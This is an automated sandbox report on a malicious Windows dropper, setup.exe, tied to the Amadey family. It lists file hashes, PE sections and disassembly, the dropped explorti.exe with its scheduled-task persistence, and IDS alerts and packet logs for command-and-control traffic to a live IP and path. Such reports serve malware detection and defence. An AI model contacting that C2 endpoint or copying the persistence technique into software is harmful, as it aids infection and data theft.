Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@0/1
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target explorti.exe, PID 7632 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 7744 because there are no executed function
Execution Graph export aborted for target setup.exe, PID 7448 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: setup.exe

Simulations

Behavior and APIs

Time	Type	Description
14:57:01	API Interceptor	1186x Sleep call for process: explorti.exe modified
19:55:58	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.19	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	SecuriteInfo.com.Win32.TrojanX-gen.22664.27275.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	LbMTyCFRzs.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	DHBIT8FeuO.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	RedLine	Browse	185.215.113.9
	file.exe	Get hash	malicious	RedLine	Browse	185.215.113.9
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.16
	SecuriteInfo.com.Win32.TrojanX-gen.22664.27275.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	EXyAlLKIck.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	IRqsWvBBMc.exe	Get hash	malicious	Amadey, Vidar	Browse	185.215.113.16
	LbMTyCFRzs.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.16

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1909760
Entropy (8bit):	7.949641205972528
Encrypted:	false
SSDEEP:	49152:tlkWk0JDpvefwG7tfhTkSkB6K4uzolV8ApUS3xCMBfkkECS:taWvnvH0fhTsY7J3xCMR/
MD5:	2AF5EB9FB318C9A454DE54914E121031
SHA1:	FCBAEA817B8EB0D63BA7B31804BE2353D564BA93
SHA-256:	589EB31A43D44FE275C70BFC3F592965B9236B59645A7ED633BBEC66526D64AB
SHA-512:	5873029940644909567F97A6D4C78D78064E7FFF22CC5B90FDA5F8C31017B30CA7DD2FC7672F7AB7460EE49D6154ED23EF5A52EA0077D09347B0B9CA3E9839F4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f..............................K...........@.......................... L......:....@.................................W...k...........................4.K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... . +.........................@...usoriijt......1.....................@...ymfuwjgb......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.4138816366542772
Encrypted:	false
SSDEEP:	6:J0rRHsX4RKUEZ+lX1cI1l6lm6tPjgsW2YRZuy0l1XRt0:J0rRH24RKQ1cag7jzvYRQV1ht0
MD5:	B90B6DC3B47674C67FA4553DA660D55F
SHA1:	B5302B2A25B5D562B1316775C3E3BC19AF473B6B
SHA-256:	A2A65D2E3FB7222032AA62D400C5FB587D9FBC4F46D6107BA217EBFEEA52A4BA
SHA-512:	C100D6AD63FC4DAD88728DA0F74586EE55BBDCC3D851764B3576F16EF9A55B2AF6E3B188B882347DA0EB0B6FCECDC8894BE87C254B116B163CA23CCC74207BAB
Malicious:	false
Reputation:	low
Preview:	.....L..tkmM..m...!.F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.0.d.8.f.5.e.b.8.a.7.\.e.x.p.l.o.r.t.i...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................8.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949641205972528
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	setup.exe
File size:	1'909'760 bytes
MD5:	2af5eb9fb318c9a454de54914e121031
SHA1:	fcbaea817b8eb0d63ba7b31804be2353d564ba93
SHA256:	589eb31a43d44fe275c70bfc3f592965b9236b59645a7ed633bbec66526d64ab
SHA512:	5873029940644909567f97a6d4c78d78064e7fff22cc5b90fda5f8c31017b30ca7dd2fc7672f7ab7460ee49d6154ed23ef5a52ea0077d09347b0b9ca3e9839f4
SSDEEP:	49152:tlkWk0JDpvefwG7tfhTkSkB6K4uzolV8ApUS3xCMBfkkECS:taWvnvH0fhTsY7J3xCMR/
TLSH:	6B95333F4C9431E4E75D4E3AD05E3BA1D9B88250A238BFE82FD587C4B591B42BCA1479
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8bf000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A24110 [Thu Jul 25 12:12:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FC168824D1Ah
lar ebx, word ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4bda34	0x10	usoriijt
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4bd9e4	0x18	usoriijt
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2dc00	d6f6bd714358d4e2cc86535d6ac7d2dd	False	0.9998612534153005	data	7.983026486073879	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	5d7aaf6d88e2a9fb2a22f714c54fa253	False	0.576171875	data	4.458845368976753	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2b2000	0x200	6d2cc301701120faa294ac0b039ad4b2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
usoriijt	0x31d000	0x1a1000	0x1a0c00	2cea1fca24cb49c6e19d3a0b2ac70c77	False	0.9945536283368326	data	7.952894618410208	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ymfuwjgb	0x4be000	0x1000	0x400	2a7767b6ef35e4c8a1785e1cad05540d	False	0.728515625	data	5.75808497991159	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4bf000	0x3000	0x2200	f9a796e180877a9fe33f6235b9fc288e	False	0.07019761029411764	DOS executable (COM)	0.8015233745232316	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4bda44	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T20:57:23.145810+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49753	80	192.168.2.4	185.215.113.19
2024-07-26T20:57:04.743588+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49738	80	192.168.2.4	185.215.113.19
2024-07-26T20:57:09.328882+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49742	80	192.168.2.4	185.215.113.19
2024-07-26T20:57:25.383489+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49755	80	192.168.2.4	185.215.113.19
2024-07-26T20:57:03.607737+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49737	80	192.168.2.4	185.215.113.19
2024-07-26T20:56:56.382955+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49736	13.85.23.86	192.168.2.4
2024-07-26T20:56:18.228909+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49730	20.12.23.50	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 20:57:02.810442924 CEST	49737	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:02.815584898 CEST	80	49737	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:02.820894957 CEST	49737	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:02.821043968 CEST	49737	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:02.826141119 CEST	80	49737	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:03.606364965 CEST	80	49737	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:03.607737064 CEST	49737	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:03.608504057 CEST	49737	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:03.613394022 CEST	80	49737	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:03.861641884 CEST	80	49737	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:03.864552975 CEST	49737	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:03.978813887 CEST	49737	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:03.979131937 CEST	49738	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:03.983961105 CEST	80	49738	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:03.984837055 CEST	80	49737	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:03.984905958 CEST	49737	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:03.985050917 CEST	49738	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:03.985050917 CEST	49738	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:03.990096092 CEST	80	49738	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:04.743524075 CEST	80	49738	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:04.743587971 CEST	49738	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:04.744437933 CEST	49738	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:04.751236916 CEST	80	49738	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:04.996643066 CEST	80	49738	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:04.996834993 CEST	49738	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:05.103846073 CEST	49738	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:05.104027987 CEST	49739	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:05.117288113 CEST	80	49739	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:05.117469072 CEST	49739	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:05.117528915 CEST	49739	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:05.120222092 CEST	80	49738	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:05.120281935 CEST	49738	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:05.133615017 CEST	80	49739	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:05.905831099 CEST	80	49739	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:05.906579018 CEST	49739	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:05.907996893 CEST	49739	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:05.912947893 CEST	80	49739	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:06.160979986 CEST	80	49739	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:06.161119938 CEST	49739	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:06.275803089 CEST	49739	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:06.276077032 CEST	49740	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:06.280905962 CEST	80	49740	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:06.280977011 CEST	49740	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:06.281044960 CEST	80	49739	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:06.281061888 CEST	49740	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:06.281099081 CEST	49739	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:06.285959005 CEST	80	49740	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:07.061556101 CEST	80	49740	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:07.061717033 CEST	49740	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:07.062403917 CEST	49740	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:07.067182064 CEST	80	49740	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:07.310533047 CEST	80	49740	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:07.310671091 CEST	49740	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:07.432512045 CEST	49740	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:07.432862043 CEST	49741	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:07.437796116 CEST	80	49741	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:07.437861919 CEST	49741	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:07.437958956 CEST	49741	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:07.438036919 CEST	80	49740	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:07.440500975 CEST	49740	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:07.442810059 CEST	80	49741	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:08.195735931 CEST	80	49741	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:08.195940971 CEST	49741	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:08.197449923 CEST	49741	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:08.202512980 CEST	80	49741	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:08.447170973 CEST	80	49741	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:08.447268963 CEST	49741	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:08.557117939 CEST	49741	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:08.557482004 CEST	49742	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:08.562800884 CEST	80	49742	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:08.562894106 CEST	49742	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:08.562901974 CEST	80	49741	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:08.562964916 CEST	49741	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:08.563178062 CEST	49742	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:08.568422079 CEST	80	49742	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:09.325263977 CEST	80	49742	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:09.328881979 CEST	49742	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:09.329444885 CEST	49742	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:09.334223986 CEST	80	49742	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:09.574621916 CEST	80	49742	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:09.575373888 CEST	49742	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:09.681888103 CEST	49742	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:09.682463884 CEST	49743	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:09.687489986 CEST	80	49743	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:09.687553883 CEST	80	49742	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:09.687558889 CEST	49743	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:09.687612057 CEST	49742	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:09.687731028 CEST	49743	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:09.692718029 CEST	80	49743	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:10.820327044 CEST	80	49743	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:10.820384979 CEST	49743	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:10.821593046 CEST	80	49743	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:10.821639061 CEST	49743	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:10.821752071 CEST	49743	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:10.827935934 CEST	80	49743	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:11.073326111 CEST	80	49743	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:11.073390007 CEST	49743	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:11.181922913 CEST	49743	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:11.182229042 CEST	49744	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:11.187131882 CEST	80	49744	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:11.187208891 CEST	49744	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:11.187298059 CEST	49744	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:11.187500954 CEST	80	49743	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:11.187551022 CEST	49743	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:11.192141056 CEST	80	49744	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:11.996247053 CEST	80	49744	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:11.996329069 CEST	49744	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:11.998744011 CEST	49744	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:12.004219055 CEST	80	49744	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:12.244764090 CEST	80	49744	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:12.244875908 CEST	49744	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:12.354029894 CEST	49744	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:12.354331017 CEST	49745	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:12.359203100 CEST	80	49745	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:12.359291077 CEST	49745	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:12.359446049 CEST	49745	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:12.359631062 CEST	80	49744	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:12.359697104 CEST	49744	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:12.364500046 CEST	80	49745	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:13.129484892 CEST	80	49745	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:13.129726887 CEST	49745	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:13.130716085 CEST	49745	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:13.136101961 CEST	80	49745	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:13.382339001 CEST	80	49745	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:13.382574081 CEST	49745	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:13.498162031 CEST	49745	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:13.498476028 CEST	49746	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:13.504960060 CEST	80	49746	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:13.505081892 CEST	49746	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:13.505218983 CEST	49746	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:13.507261038 CEST	80	49745	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:13.507338047 CEST	49745	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:13.511342049 CEST	80	49746	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:14.272064924 CEST	80	49746	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:14.272224903 CEST	49746	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:14.272983074 CEST	49746	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:14.277863979 CEST	80	49746	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:14.522800922 CEST	80	49746	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:14.522918940 CEST	49746	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:14.635226011 CEST	49746	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:14.635514975 CEST	49747	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:14.642831087 CEST	80	49747	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:14.642951965 CEST	49747	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:14.643167973 CEST	49747	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:14.643438101 CEST	80	49746	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:14.643498898 CEST	49746	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:14.649224997 CEST	80	49747	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:15.398758888 CEST	80	49747	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:15.398943901 CEST	49747	80	192.168.2.4	185.215.113.19
